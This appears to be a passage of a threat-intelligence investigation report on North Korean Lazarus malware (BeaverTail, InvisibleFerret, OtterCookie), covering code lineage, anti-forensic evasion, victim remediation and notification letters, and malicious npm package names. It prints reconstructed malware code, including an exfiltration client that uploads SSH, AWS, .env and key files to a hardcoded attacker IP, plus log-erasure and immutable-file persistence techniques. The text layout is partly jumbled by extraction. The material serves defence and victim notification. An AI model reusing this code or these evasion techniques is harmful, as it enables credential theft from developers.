Exchange API key inventory collected from compromised developer machines

Active KYC collection systems targeting casino platform users

Operator development toolchain and deployment workflow

The 72-hour window from one primary discovery point to a multi-system characterisation represents the

highest-tempo phase of the investigation. It was possible because each new system found cross-

referenced to credentials or connection logs already in the evidence corpus — the data talked to itself.

Chapter 62: Malware Family Tree and Code Provenance

62.1 BeaverTail Lineage

The BeaverTail malware family has evolved through multiple generations since its first documentation in

2023. The following code provenance analysis traces observable characteristics across generations:

Generation 1 (2023) — Native macOS:

Generation 2 (2024 Q1-Q2) — First Qt variant:

• 

• 

• 

• 

• 

• 

• 

Platform:    macOS only

Language:    Objective-C or Swift (compiled Mach-O binary)

Delivery:    Disguised as legitimate macOS application (MiroTalk)

C2 protocol: HTTP GET to hardcoded IP (pre-domain infrastructure)

Key feature: macOS Keychain credential extraction (requires user password)

IOC:         First documented by ESET, September 2023



Generation 3a (2025 Q2-Q4) — npm supply chain:

Generation 3b (2026 Q1) — GitHub staged variant:

Key evolutionary observations:

The progression from compiled native code (Gen 1) to JavaScript runtime (Gen 3) trades stealth for

deployment velocity. Native code is harder to detect dynamically but harder to update remotely.

JavaScript with eval(server_response)  enables real-time payload updates without any changes to the

locally-stored malware.

This parallels a broader trend in nation-state malware development: nation-state actors who previously

invested heavily in compiled, custom tools (e.g., USCYBERCOM's Equation Group toolkit) are

increasingly using interpreted languages and living-off-the-land techniques. JavaScript's universal

runtime availability (Node.js is installed on virtually every developer machine) makes it an ideal platform

for campaigns targeting the developer population.

62.2 InvisibleFerret Version History

The InvisibleFerret Python RAT has also evolved across the campaign period:

v1.0 (2023):

Platform:    macOS + Windows (cross-platform Qt framework)

Language:    C++ with Qt5/Qt6 UI framework

Delivery:    Windows MSI installer, macOS DMG

C2 protocol: HTTPS to domain-based C2 (pre-Vercel)

Key feature: Cross-platform wallet targeting (extended to 13 wallet types)

IOC:         Documented by Unit 42 (October 2024); hashes published

Timeline:    Qt variant compiled July 2024 (per Unit 42 metadata analysis)

Platform:    Windows + Linux + macOS (Node.js runtime)

Language:    JavaScript (obfuscated)

Delivery:    npm packages with postinstall hooks, VS Code tasks.json

C2 protocol: HTTPS to Vercel-hosted C2 (rest-icon-provider.link)

Key feature: VS Code auto-execution; 197-package industrial scale

IOC:         npm packages by stardev0914; XORIndex loader

Timeline:    June-November 2025

Platform:    Windows + Linux (Node.js runtime)

Language:    JavaScript (eval-based payload, domain-split obfuscation)

Delivery:    GitHub repository (coin-promoting by bitcoin2026a)

C2 protocol: HTTPS to rest-icon-provider.link; FTP to 195.201.104.53

Key feature: Token-based victim partitioning; team-ID directory structure

IOC:         bitcoin2026a/coin-promoting; [DEVELOPER-EMAIL-REDACTED]

Timeline:    December 2025 - February 2026

Developer:   UTC+7 timezone (SE Asia)



v2.x (2024) — Component architecture:

v3.x (2026) — MmmM binary protocol:

# Early InvisibleFerret — simple FTP upload

import ftplib, os, socket, platform

def upload_data(local_path, remote_path, ftp_host, ftp_user, ftp_pass):

    ftp = ftplib.FTP()

    ftp.connect(ftp_host, 21)

    ftp.login(ftp_user, ftp_pass)

with open(local_path, 'rb') as f:

        ftp.storbinary(f'STOR {remote_path}', f)

    ftp.quit()

# InvisibleFerret v2 — modular component system

# Components: .npl, .n2/pay, .n2/bow, .n2/adc

# FTP exfil: /new/{team_id}_{hostname}/

import ftplib, socket, threading, base64

class InvisibleFerretRAT:

def __init__(self, c2_host, ftp_host, team_id):

self.c2 = c2_host

self.ftp = ftp_host

self.team = team_id

self.hostname = socket.gethostname()

self.uid = self._generate_uid()

def _generate_uid(self):

# MD5-like hash of machine characteristics

import hashlib

return hashlib.md5(f"{self.hostname}{os.getlogin()}".encode()).hexdigest()

def register(self):

# POST to C2 panel /heartbeat

pass

def exfiltrate_wallets(self):

# Locate and upload wallet extension data via FTP

pass

def download_adc(self):

# Download and install AnyDesk

pass



The MmmM binary protocol (v3) represents a significant architectural upgrade: it enables bidirectional

binary communication rather than the one-directional FTP-upload model of v1. This enables real-time

interactive access, keylogging with immediate delivery, and remote command execution — making v3 a

full-featured RAT rather than a simple data exfiltration tool.

62.3 OtterCookie Relationship to InvisibleFerret

OtterCookie appears to be a stripped-down InvisibleFerret designed specifically for environments where

the full RAT installation would be risky or unnecessary:

# InvisibleFerret v3 — binary protocol (MmmM frame)

import struct, socket, json

MAGIC = b'MmmM'

class MmmMProtocol:

    MSG_REGISTER = 0x01

    MSG_HEARTBEAT = 0x02

    MSG_COMMAND = 0x03

    MSG_RESULT = 0x04

    MSG_FILE = 0x05

    MSG_KEYLOG = 0x10

    MSG_SCREENSHOT = 0x11

    MSG_DESTRUCT = 0x20

def pack(self, msg_type: int, data: dict) -> bytes:

        payload = json.dumps(data).encode()

        header = MAGIC + struct.pack('!BI', msg_type, len(payload))

return header + payload

def unpack(self, raw: bytes) -> tuple:

        magic, msg_type, length = struct.unpack('!4sBI', raw[:9])

if magic != MAGIC:

raise ValueError("Invalid magic")

return msg_type, json.loads(raw[9:9+length])



OtterCookie's 60-second polling loop and unauthenticated sink design make it suitable for deployment

in:

Render.com CI/CD build containers (short-lived, may not have full RAT requirements)

Docker containers (minimal dependencies, OtterCookie needs only Python stdlib)

Restricted network environments (only outbound HTTP required, no SSH)

Environments where AnyDesk installation would trigger alerts (OtterCookie doesn't install remote

access software)

# OtterCookie — minimal exfiltration client (pseudocode)

# Designed for: CI/CD containers, short-lived VMs, restricted environments

import os, json, base64, urllib.request

class OtterCookie:

    SINKS = [

'http://195.201.104.53:6109/upload',

'http://195.201.104.53:6939/upload',  # failover

    ]

def upload(self, file_path: str):

try:

with open(file_path, 'rb') as f:

                data = base64.b64encode(f.read()).decode()

            payload = json.dumps({

'path': file_path,

'data': data

            }).encode()

for sink in self.SINKS:

try:

                    req = urllib.request.Request(sink, data=payload,

                        headers={'Content-Type': 'application/json'})

                    urllib.request.urlopen(req, timeout=10)

return True

except Exception:

continue

return False

except Exception:

return False

def monitor_and_upload(self):

# Watch for new/modified files matching target patterns

import time

        target_patterns = ['*.env', '~/.ssh/*', '~/.aws/*', '*.pem']

while True:

for pattern in target_patterns:

# glob for matching files, upload any new ones

pass

            time.sleep(60)  # Poll every 60 seconds

• 

• 

• 

• 



The relationship: BeaverTail drops InvisibleFerret for full persistent access; BeaverTail also installs

OtterCookie as a backup exfiltration channel that operates independently. If InvisibleFerret is removed

(e.g., by antivirus), OtterCookie continues silently uploading newly-appearing sensitive files.

Chapter 63: Forensic Counter-Measures and Detection Evasion Analysis

63.1 Anti-Forensic Techniques — Comprehensive Catalog

The Lazarus Contagious Interview malware family employs the following anti-forensic techniques,

analysed by effectiveness against common forensic frameworks:

Technique 1 — Process name masquerade (kworker):

Detection bypass effectiveness: HIGH against standard ps , top , htop  monitoring. LOW against:

/proc  filesystem direct reading: ls /proc/*/exe | xargs readlink

Raw system calls bypassing modified binaries

Hardware performance counters (CPU utilisation measurement)

Network connection monitoring via kernel-level tools

Technique 2 — Log erasure (kworker):

Detection bypass effectiveness: HIGH against post-compromise forensics on running system. LOW

against:

Remote log aggregation (if logs were shipped to SIEM before erasure)

Kernel audit log (auditd with SIEM shipping is immune to erasure)

Memory forensics (auth events may remain in kernel ring buffer)

Technique 3 — Immutable file attributes:

# Miner process named "javae" — not immediately suspicious

# Dropper process named "kworker" — mimics Linux kernel thread name format

# Standard kernel kworker threads appear in ps as: [kworker/X:Y]

# Malicious kworker appears in ps as: kworker (no brackets, no CPU binding)

# However: modified ps hides it entirely, making even this distinction irrelevant

• 

• 

• 

• 

# Erased logs:

/var/log/syslog # System events

/var/log/auth.log # Authentication events (SSH logins)

/var/log/wtmp # Login record (used by 'last' command)

/var/log/btmp # Failed login record

/var/log/lastlog # Most recent login per user

/root/.bash_history # Command history

• 

• 

• 



Detection bypass effectiveness: VERY HIGH against automated remediation tools and inexperienced

admins. MEDIUM against experienced forensic responders (who know about chattr).

Technique 4 — JavaScript eval() payload delivery:

Detection bypass effectiveness: HIGH against static antivirus. MODERATE against behavioral EDR

(endpoint detection and response) solutions that monitor eval() calls.

Technique 5 — FTP over TLS to non-standard destination:

Detection bypass effectiveness: HIGH against network-only monitoring. LOW against:

Full SSL inspection (decrypts and inspects FTPS traffic)

Destination IP reputation filtering (195.201.104.53 now in multiple threat intel feeds)

DNS-level blocking (if FTPS destination is domain-based)

63.2 Living-Off-the-Land Techniques

The Contagious Interview campaign's JavaScript/Node.js payload makes extensive use of Living-Off-

the-Land (LOtL) techniques — using legitimate system tools and trusted processes to avoid detection:

LOtL Technique Implementation Detection Challenge

node  runtime BeaverTail executes as Node.js process Node.js is installed on nearly every developer

machine

npm  postinstall Infection occurs during npm install npm postinstall hooks are expected behavior

curl / wget  (→ cd1/

wd1)

Downloads miner binary using renamed system

tools

System binaries are trusted

crontab Persistence via standard cron mechanism Cron is expected on all Linux systems

ssh  for lateral movement Uses built-in SSH client SSH traffic is expected in developer environments

redis-cli Worm propagation via Redis protocol Redis is widely used; client connections are

expected

chattr +ia  # Sets immutable + append-only attributes

# Even root cannot delete or modify these files without 'chattr -ia' first

# Requires root-level access to set (malware runs as root via Redis exploit)

# Survives: rm, mv, echo > file, sed -i, vi/nano saves

# Bypassed by: chattr -ia (root), mount -o remount (if different fs), 

#              booting from external media, moving to non-ext4 filesystem

// Payload exists only in memory during execution

// Static analysis of stored file shows no malicious content

// Dynamic analysis is required (execute the file and monitor network connections)

FTP over TLS (FTPS) is a legitimate protocol

Port 21 is the standard FTP port (not blocked by most corporate firewalls)

Traffic appears as legitimate FTP session from firewall perspective

Only distinguishable by: destination IP reputation, certificate analysis, payload inspection

• 

• 

• 



The use of Node.js is particularly significant: in a developer environment, a Node.js process consuming

network connections is essentially indistinguishable from legitimate application behavior. Developer

machines routinely have dozens of concurrent Node.js processes for different applications, APIs, and

services.

Chapter 64: Post-Compromise Indicator Analysis

64.1 Time-to-Detection Analysis

Based on victim directory creation timestamps and investigation timelines, we can estimate the average

time from initial compromise to detection:

For Contagious Interview victims:

For early wave victims (December 2025):

Implication: The average developer victim was compromised for approximately 35-75 days before the

primary C2 was taken down. During this period, active implants (InvisibleFerret) could receive real-time

commands, stream keylogger output, and receive updated payloads.

For the victims who haven't been notified (the majority of 14,716+), their machines may still have

InvisibleFerret persistence (via launch agents, cron, or startup scripts) even though the C2 server is

offline. These dormant implants will re-activate if a new C2 server contacts them — a standard Lazarus

practice documented in multiple prior campaigns.

64.2 Dormant Implant Risk Assessment

Victims who were infected by coin-promoting (February 5-19, 2026) and whose machines are still

accessible as of May 2026 may have:

InvisibleFerret launch agent still installed (macOS): ~/Library/LaunchAgents/*.plist  with

random bundle ID, calling back to the now-offline C2 every startup.

Cron job still installed (Linux): @reboot python3 ~/.config/[random]/.npl  pointing to a script that

attempts to contact the C2.

coin-promoting victim infections: February 5 - February 19, 2026

C2 infrastructure shutdown:       March 3, 2026

Vercel takedown:                  March 23, 2026

Investigation Wave 80 (C2 dump):  February 14, 2026

Average victim exposure period (compromise to C2 shutdown):

  Victim 1 (Feb 5 → Mar 3):  26 days

  Victim 2 (Feb 8 → Mar 23): 43 days

  Victim 3 (Feb 11 → Mar 23):  40 days

  Victim 4 (WIN-LIV, Feb 19 → Mar 23):32 days

  Average: ~35 days

First victim upload timestamps: December 19, 2025

C2 shutdown:                     March 3, 2026

Duration: ~75 days

1. 

2. 



Registry run key still installed (Windows): 

HKCU\Software\Microsoft\Windows\CurrentVersion\Run  entry pointing to Python executable.

The dormancy risk: If Lazarus reactivates infrastructure (new C2 at a new IP), existing dormant

implants will phone home and re-establish contact. The operators would not need to re-infect the victim

— the implant is already installed. This is the "dwell time" problem: the theoretical risk window extends

from the initial compromise date to when the victim either reimages their machine or specifically hunts

and removes the implant.

Recommended remediation for all coin-promoting victims:

3. 

# macOS — remove LaunchAgent persistence

ls ~/Library/LaunchAgents/ | grep -v "com.apple\|org.mozilla"

# Remove any unfamiliar entries

# Linux — remove cron persistence

crontab -l | grep -v "^#"

# Review and remove any entries with random paths or python3 calls

# Windows — check startup entries

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

# Remove any entries pointing to unexpected executables

# All platforms — check for AnyDesk
which anydesk; ls /Applications/AnyDesk.app 2>/dev/null; ls "C:\Program Files (x86)\AnyDesk" 2>/

dev/null

# Remove AnyDesk if installed without explicit knowledge

# All platforms — check for coin-promoting repository

find ~ -name "coin-promoting*" -type d

find ~ -name "index.js" | xargs grep -l "rest-icon-provider" 2>/dev/null

# Remove any matching directories



Part XV — Victim Notification Documentation

Chapter 65: Notification Framework and Legal Basis

65.1 Notification Authority and Legal Basis

Victim notification in this investigation is conducted under the authority established by:

18 U.S.C. § 3771 (Crime Victims' Rights Act): Victims of federal crimes have the right to be

reasonably notified of proceedings and reasonably protected from the accused. While this statute

applies in the context of criminal proceedings, its policy principles underpin the investigator's ethical

obligation to notify victims of confirmed compromise when such notification can prevent further harm.

FTC Breach Notification Guidelines: For corporate victims, the FTC's guidance on breach response

applies. Corporate entities with compromised production systems have independent notification

obligations to their own customers and business partners.

EU GDPR Article 33-34: For EU-resident victims (Germany, UK, Italy, Turkey, Spain etc. confirmed in

victim pool), the GDPR imposes mandatory breach notification obligations on data controllers. The

investigator's notification to individual victims may fulfill this purpose where the corporate entity is not

aware of the breach.

State-level breach notification laws (US): For US residents (241 confirmed victims), all 50 states have

breach notification requirements. The notification packages prepared by this investigation include state-

specific guidance for each US victim.

65.2 Notification Triage Framework

The triage framework was developed collaboratively with threat intelligence researchers to balance

notification urgency against investigating authorities operational requirements:

Tier 0 — investigating authorities Only (Not Disclosed): Notifications that would compromise active

investigating authorities operations or reveal sensitive intelligence sources are withheld from the victim

pending explicit investigating authorities authorization.

Tier 1 — P0 (Immediate — 24 hours): Victims with imminent financial harm risk (staged wallet data,

active exchange credential exposure, known draining in progress).

Tier 2 — P1 (Urgent — 72 hours): Victims with high-value credential exposure (production AWS keys,

blockchain signing keys, Stripe Live keys, GitHub org PATs) where exploitation is likely but not yet

confirmed.

Tier 3 — P2 (Priority — 1 week): Victims with significant credential exposure (SSH keys, database

credentials, API keys) requiring coordinated security response.

Tier 4 — P3 (Standard — 2-4 weeks): Victims with general credential exposure (browser passwords,

personal email, non-production credentials) where harm is likely but not immediately financially

catastrophic.



Tier 5 — P4 (Batch — researcher-coordinated): Remaining victims requiring notification but without

immediately actionable high-value credential exposure. researcher-coordinated via official notification

process.

Chapter 66: Selected Notification Packages

66.1 Developer Victim — Phantom/Solana Wallet (P0)

Victim profile:

Notification email sent to [VICTIM-EMAIL-REDACTED]:

Name:      [VICTIM-NAME-REDACTED]

Email:     [VICTIM-EMAIL-REDACTED]

Staging:   Phantom wallet archive (105KB .n1 file) — 36 days since staging

Platform:  Unknown (wallet file format suggests macOS or Windows)

Risk:      Drain window closing — each day delays increases risk operator 

           processes the staged archive



66.2 US Healthcare/Blockchain Developer — P0 Corporate + Individual

Victim profile:

Subject: SECURITY ALERT: Your cryptocurrency wallet may be at immediate risk

Dear Developer,

We are reaching out with an urgent security notification. Our investigation 

into DPRK (North Korean) state-sponsored cybercrime has identified that your 

Phantom (Solana) cryptocurrency wallet data was compromised approximately 36 

days ago and has been staged for theft by the Lazarus Group, a North Korean 

government hacking operation.

WHAT HAPPENED:

Your computer was infected with malware known as BeaverTail (identified by 

Palo Alto Networks) distributed through a malicious software package or fake 

job interview process. This malware extracted your Phantom wallet's encrypted 

data and uploaded it to the attackers' servers.

IMMEDIATE ACTION REQUIRED:

1. MOVE YOUR FUNDS NOW to a new wallet with a freshly generated seed phrase

2. Create a new Phantom wallet: download from phantom.app (official site only)

3. Generate a completely new seed phrase - do NOT transfer your old seed phrase

4. Transfer ALL funds from your old wallet addresses to the new wallet

5. Do NOT use the old wallet addresses again after transfer

WHAT WE KNOW:

- Your Phantom wallet backup file (105KB) was exfiltrated approximately 36 days ago

- The attackers have not yet drained your wallet (we verified this as of today)

- Every day you delay increases the risk of theft

- The North Korean operators typically process wallet batches at irregular intervals

ADDITIONAL SECURITY STEPS:

- Report to investigating authorities Internet Crime Complaint Center: ic3.gov

- Change passwords for all accounts where you may have reused your email password

- Scan your device for malware: use Malwarebytes or similar

- Do NOT sign in to cryptocurrency exchanges from the potentially infected device

This notification is provided by security researchers in coordination with 

the this investigation of North Korean cryptocurrency theft.

To verify this notification's authenticity, please contact the investigating authorities at 

your local field office or ic3.gov.

Time is critical. Please act immediately.

Security Research Team / coordinated notification



Notification sent April 2026:

Name:      [VICTIM-NAME-REDACTED]

Email:     [VICTIM-EMAIL-REDACTED]

Employer:  US healthcare/blockchain-adjacent company (name withheld)

Role:      Blockchain developer

Staging:   Developer wallet + GitHub 2FA backup codes stolen

Risk:      Active GitHub access; corporate infrastructure accessible



66.3 Developer at Canadian Banking API Fintech — P0 Active Malware

Victim profile:

Subject: URGENT SECURITY INCIDENT — Your GitHub 2FA and blockchain wallets compromised

Dear Developer,

This is an urgent security notification regarding a confirmed compromise 

of your workstation and associated accounts by the Lazarus Group, a North 

Korean state-sponsored hacking operation.

CONFIRMED COMPROMISED ITEMS:

1. GitHub 2FA backup codes — Lazarus has the ability to bypass your GitHub

   two-factor authentication using these codes

2. Blockchain developer wallet private keys — funds may be drained

3. SSH keys for development servers — server access may be compromised

4. AWS/cloud credentials associated with developer's employer infrastructure

IMMEDIATE ACTIONS REQUIRED:

For GitHub (HIGHEST PRIORITY):

1. Log into GitHub from a clean device

2. Go to Settings > Security > Two-factor authentication

3. Click "Disable two-factor authentication" (this invalidates old backup codes)

4. Re-enable 2FA with a new authenticator app from a clean device

5. Regenerate ALL existing SSH keys (Settings > SSH and GPG keys)

6. Review all authorized applications for unauthorized access

For Blockchain Wallets:

1. Transfer all cryptocurrency from compromised wallets to new, freshly-generated wallets

2. Do NOT reuse any wallet that was on the compromised computer

For employer IT Security:

This notification has also been sent to the company's security team.

Please coordinate with them immediately to:

- Audit AWS CloudTrail for unauthorized API calls since approximately March 25, 2026

- Review any GitHub commits made to company repositories from your account

- Rotate all AWS access keys associated with your user

- Audit access to production infrastructure

WHAT HAPPENED:

Your computer was infected with BeaverTail malware distributed through 

the Contagious Interview campaign. This is a North Korean government 

hacking operation targeting blockchain developers. The malware extracted 

your credentials and uploaded them to the attackers' servers approximately 

18 days ago.

Evidence Reference: investigating authorities Investigation Case - DPRK Cyber - 2026

Coordination: threat intelligence researchers, security authorities

Please act immediately and contact investigating authorities to report this incident.



Notification package (April 2026):

Name:      a developer at the fintech employer (fintech)

Email:     [VICTIM-EMAIL-REDACTED]

Employer:  the fintech employer (Canadian fintech startup)

Role:      Software engineer

Risk:      Active malware persistence as of April 2026 (~37 days)

           SSH keys providing access to the fintech employer's production infrastructure

Subject: ACTIVE MALWARE ALERT — Immediate action required to protect your employer's systems

Dear Developer,

This is an emergency security notification. Your workstation has an 

ACTIVE infection by Lazarus Group malware that has been running for 

approximately 37 days and provides the attackers with access to 

your employer's production infrastructure.

CRITICAL: This malware is CURRENTLY ACTIVE. The attackers have 

maintained access to your machine and potentially your employer's 

systems for the past 37 days.

WHAT THE ATTACKERS HAVE:

1. SSH keys providing access to the fintech employer's development and production servers

2. FileZilla credentials showing FTP access to client infrastructure

3. NPM credentials (attackers could publish malicious npm packages as you)

4. Potentially: production database access if credentials were in .env files

IMMEDIATE STEPS (complete before going to sleep tonight):

Step 1 — Disconnect your machine from the internet immediately

Step 2 — Contact your employer's CTO/security lead NOW about an active breach

Step 3 — From a DIFFERENT, CLEAN device:

         a. Revoke all SSH keys: GitHub → Settings → SSH keys → delete all

         b. Revoke all NPM tokens: npmjs.com → Access Tokens → delete all

         c. Reset your npm password from a clean device

         d. Contact your employer's IT team to rotate ALL server access keys immediately

For employer security team:

- All SSH keys on the developer's workstation have been compromised

- Active malware with remote access has been on the machine for ~37 days

- Assume any server the developer has SSH access to has been accessed by

  the attackers for the past 37 days

- Emergency incident response is recommended immediately

- security authorities incident reporting: security authorities.gov/report

This notification is coordinated with the threat intelligence researchers's 

investigation of North Korean cryptocurrency theft operations 

(Lazarus Group / Contagious Interview campaign).

Please do NOT delay. Active malware means the attackers can observe 

your response to this email if you open it on the infected device.

Open this email on a different device and respond from there.



Chapter 67: CENTIC.io Notification Package

67.1 Institutional Notification Requirements

The CENTIC.io breach (CVSS 9.1 CRITICAL) requires institutional-level notification that differs

structurally from individual developer notifications. CENTIC is a Vietnamese company with international

operations; the notification must address:

Immediate technical remediation (credential rotation)

User data protection obligations

Regulatory notification (Vietnam cybersecurity law requirements)

Business continuity considerations

CENTIC notification package prepared (April 2026):

• 

• 

• 

• 



CLASSIFICATION: URGENT — Responsible Disclosure

To: CENTIC.io Security Team / CTO

From: [Red Asgard] in coordination with threat intelligence researchers

Subject: Critical Security Breach — MongoDB Atlas Credentials Compromised

CVSS Score: 9.1 CRITICAL

Breach Type: Credential compromise via prior employee compromise

Data Exposed: 1.4 TB (all production databases)

Attacker: Lazarus Group (DPRK state-sponsored)

EXECUTIVE SUMMARY:

Your MongoDB Atlas credentials have been compromised and accessed by the 

Lazarus Group, a North Korean government hacking operation. The attackers 

have authenticated access to 1.4 terabytes of CENTIC's blockchain intelligence 

database including all wallet surveillance data, smart contract labels, DeFi 

position data, and token credit scores.

TECHNICAL DETAILS:

Compromised credential sets (partial list, specific accounts redacted per LE protocol):

- 7 of 10 MongoDB Atlas connection strings tested successfully

- All accessible databases enumerated (complete list in Annex A)

- Access confirmed between [approximate dates redacted]

Databases confirmed accessible:

  TokenDatabase      (3.61 GB)  — token credit scores, risk ratings

  knowledge_graph    (833.70 GB) — wallet surveillance, DeFi positions

  SmartContractLabel (0.69 GB)  — 4.7M contract labels

  blockchain_etl     (86.43 GB) — BSC ETL pipeline

  ethereum_blockchain_etl (91 GB)

  hyperliquid_blockchain_etl (107 GB)

  arbitrum_blockchain_etl (84 GB)

  base_blockchain_etl (93 GB)

  solana_blockchain_etl (12 GB)

REQUIRED IMMEDIATE ACTIONS:

1. WITHIN 2 HOURS — Credential Rotation:

   - Rotate ALL MongoDB Atlas passwords immediately

   - Rotate ALL API keys for CENTIC services

   - Revoke and reissue all MongoDB Atlas user certificates

   - Update all applications using the compromised connection strings

2. WITHIN 24 HOURS — Access Audit:

   - Pull MongoDB Atlas access logs for all clusters

   - Identify all queries performed using compromised credentials

   - Audit for data export operations (mongodump, large queries)

   - Check for any schema modifications (especially TokenDatabase writes)

3. WITHIN 48 HOURS — Notification Obligations:

   - Vietnam Information Security law notification to VNISA

   - Partner/customer notification as required by contracts

   - Consider public disclosure of TokenDatabase potential manipulation



Chapter 68: Exchange Credential Victim Notifications

68.1 Critical Exchange Victim — Victim A (Turkey)

Profile:

Notification:

4. ONGOING — Monitoring:

   - Enable MongoDB Atlas audit logging (if not already enabled)

   - Set up anomaly detection for large query volumes

   - Implement IP allowlisting for MongoDB Atlas access

STRATEGIC RISK ASSESSMENT:

The attackers' access to knowledge_graph (wallet surveillance) and 

TokenDatabase (token credit scores) creates intelligence advantages 

for their cryptocurrency theft operations. See enclosed strategic 

risk assessment for full details.

Responsible Disclosure:

This notification is coordinated with threat intelligence researchers. An official case 

reference 

number will be provided for insurance and regulatory purposes. 

Please contact [threat intelligence researchers contact information] to open a formal 

case and receive additional intelligence sharing under investigating authorities protocols.

Annex A: Full database inventory (provided separately under secure channel)

Annex B: Strategic risk assessment of CENTIC breach

Annex C: coordinated notification contact information

Annex D: MongoDB Atlas credential rotation guide

Handle:    [VICTIM-HANDLE-REDACTED]

Location:  Turkey

Email:     [VICTIM-EMAIL-REDACTED]

Exchanges: Binance TR, OKX TR, Paxos, Advcash

Risk:      Same password on ALL 4 services — if one is used, all are compromised



68.2 Victim B (US) — 8-Exchange Exposure

Profile:

Notification:

Subject: IMMEDIATE: Your Binance TR, OKX TR, Paxos, and Advcash accounts are at risk

We have information that your accounts on the following exchanges 

were compromised by North Korean hackers:

  • Binance TR  

  • OKX TR

  • Paxos

  • Advcash

Your passwords for all four services were stolen and the hackers 

noted that you use THE SAME PASSWORD on all four.

Please change your passwords on ALL FOUR SERVICES IMMEDIATELY from 

a device that was not infected. Also enable two-factor authentication 

(2FA) on each account.

This is urgent — please act NOW before your funds are transferred.

Evidence basis: Your credentials were found in the database of the 

Lazarus Group (North Korean government hackers) who stole them from 

your computer through malware.

Report this incident to your local police and to each exchange's 

security team.

Name:      [VICTIM-NAME-REDACTED]

Email:     [VICTIM-EMAIL-REDACTED]

Country:   United States

Exchanges: Coinbase (×3), Binance, Robinhood, + 5 more

Risk:      8+ services; highest US victim exposure



Chapter 69: Corporate Breach Notifications

69.1 Saudi Technology Company — Azure AD + ERP Breach

Organisation profile:

Notification package:

Subject: SECURITY ALERT: Your cryptocurrency exchange accounts have been compromised [template]

Dear [Victim Name],

This is an urgent security notification. Your account credentials 

for the following services were stolen by North Korean hackers:

  • Coinbase (3 accounts)

  • Binance US

  • Robinhood

  • [5 additional services redacted for privacy]

WHAT TO DO RIGHT NOW:

1. Go to each service's website (type the URL directly, don't click links)

2. Change your password immediately

3. Enable two-factor authentication using an authenticator app (not SMS)

4. Review recent account activity for unauthorized transactions

5. If you see unauthorized activity, contact the exchange immediately

For US residents: File a report at ic3.gov (investigating authorities Internet Crime Complaint 

Center)

This notification is provided by security researchers in coordination 

with the investigating authorities. If you have questions about the legitimacy of this 

notification, contact the investigating authorities directly at tips.investigating 

authorities.gov or at your 

local investigating authorities field office.

Company:   Saudi technology company [name withheld]

Contact:   IT contact (withheld)

Breach:    Complete Azure Active Directory compromise

           Odoo ERP production system access

Severity:  EXTREME — corporate identity system compromise



69.2 GitHub Organisation — PAT Compromise

Organisation profile:

To: [IT-CONTACT-WITHHELD]

Subject: Critical Security Incident — Azure Active Directory Compromised

URGENT SECURITY NOTIFICATION

Your organisation's Azure Active Directory credentials and Odoo ERP 

access credentials have been compromised by the Lazarus Group, a 

North Korean government-sponsored hacking team.

This is a total enterprise identity compromise. Every employee who 

uses Azure AD for authentication is potentially affected.

CONFIRMED COMPROMISED:

• Azure Active Directory — Client Secret + Tenant ID

• Odoo ERP — Production access credentials

• Additional cloud credentials (details in secure annex)

WHAT THIS MEANS:

With Azure AD credentials, the attackers can:

1. Reset passwords for any user in your organisation

2. Disable two-factor authentication for any user

3. Add new admin accounts (backdoor access)

4. Access all Microsoft 365 services (Email, Teams, SharePoint)

5. Modify conditional access policies

IMMEDIATE ACTIONS:

Hour 1:

□ Emergency call with Azure/Microsoft support

□ Enable Microsoft Sentinel security monitoring (if not active)

□ Run Azure AD audit report for last 90 days

□ Check Azure AD for unexpected admin accounts

□ Check Microsoft 365 admin center for mail forwarding rules

Hour 2:

□ Rotate ALL Azure service principal client secrets

□ Force password reset for ALL employees via Azure AD PowerShell

□ Revoke all existing refresh tokens (force re-authentication)

□ Review Azure AD Privileged Identity Management for elevation abuse

Day 1:

□ Full security assessment of all Azure resources

□ Audit Odoo ERP for unauthorised access and data export

□ Employee notification about credential reset requirement

□ Regulatory notification as required by Saudi CITC cybersecurity regulations

This notification is coordinated with the threat intelligence researchers. 

Please contact them for case number and ongoing intelligence sharing.



GitHub Trust & Safety report filed:

Organisation: Software tools GitHub organisation (name withheld)

Impact:       7 stolen Personal Access Tokens with organisation-level access

Risk:         Supply chain compromise — malicious commits to organisation repositories

Contact:      GitHub Trust & Safety (platform notification)

To: security@github.com

Subject: 7 compromised PATs with organization admin access — [ORG-NAME-WITHHELD]

SECURITY REPORT — COMPROMISED PERSONAL ACCESS TOKENS

I am reporting 7 Personal Access Tokens (PATs) with admin-level access 

to the affected GitHub organisation that were stolen by the Lazarus 

Group (DPRK state-sponsored threat actor) through the BeaverTail 

malware campaign.

The PATs were exfiltrated from developer machines via malware between 

approximately January-March 2026 and are currently in the possession 

of North Korean intelligence services.

IMPACT:

With these tokens, the threat actor could:

• Push commits to all organisation repositories

• Modify branch protection rules

• Access repository secrets

• Trigger GitHub Actions workflows

• View all private repository content

REQUESTED ACTIONS:

1. Immediately revoke all 7 compromised PATs (token list provided via 

   secure channel to GitHub Security team)

2. Force re-authentication for all organisation members

3. Audit all recent commits and pull requests for suspicious activity

4. Review GitHub Actions runs for unauthorised workflow executions

5. Enable secret scanning and push protection for the organisation

This notification is coordinated with the threat intelligence researchers. official case 

reference 

reference available upon request.

Evidence basis: PATs were found in the Lazarus Group's exfiltration 

database obtained during an investigation into their infrastructure.



Appendix F — Complete npm Package Inventory

F.1 October-November 2025 Wave (stardev0914 GitHub Account)

The following table lists the confirmed and suspected malicious npm packages published by the 

stardev0914  GitHub account between October and November 2025. All packages have been removed

from the npm registry; this list is provided for retrospective investigation and supply-chain audit

purposes.

Total packages: 197+ (partial list — full inventory in investigating authorities evidence package)

Package Name Typosquat Target Downloads Published Infection Mechanism

tailwind-magic tailwind-merge ~5,200 2025-10-11 postinstall hook

node-tailwind tailwindcss ~3,100 2025-10-11 postinstall hook

react-modal-select react-select ~2,800 2025-10-12 postinstall hook

isbutfervalidator is-buffer ~1,900 2025-10-13 postinstall hook

yoojae-validator yup ~1,700 2025-10-14 postinstall hook

event-handle-package event-emitter ~1,400 2025-10-15 postinstall hook

array-empty-validator array-flatten ~1,200 2025-10-17 postinstall hook

react-event-dependency react-hooks ~1,100 2025-10-18 postinstall hook

auth-validator jsonwebtoken ~1,000 2025-10-19 postinstall hook

XORIndex (no clear target) 9,000+ 2025-06 XOR-encrypted loader

blockchain-utils-helper ethers ~850 2025-10-20 postinstall hook

web3-connect-helper web3 ~780 2025-10-21 postinstall hook

defi-token-utils @uniswap/sdk ~720 2025-10-22 postinstall hook

solidity-dev-tools hardhat ~680 2025-10-23 postinstall hook

ethers-extended ethers ~650 2025-10-24 postinstall hook

metamask-connector @metamask/sdk ~620 2025-10-25 postinstall hook

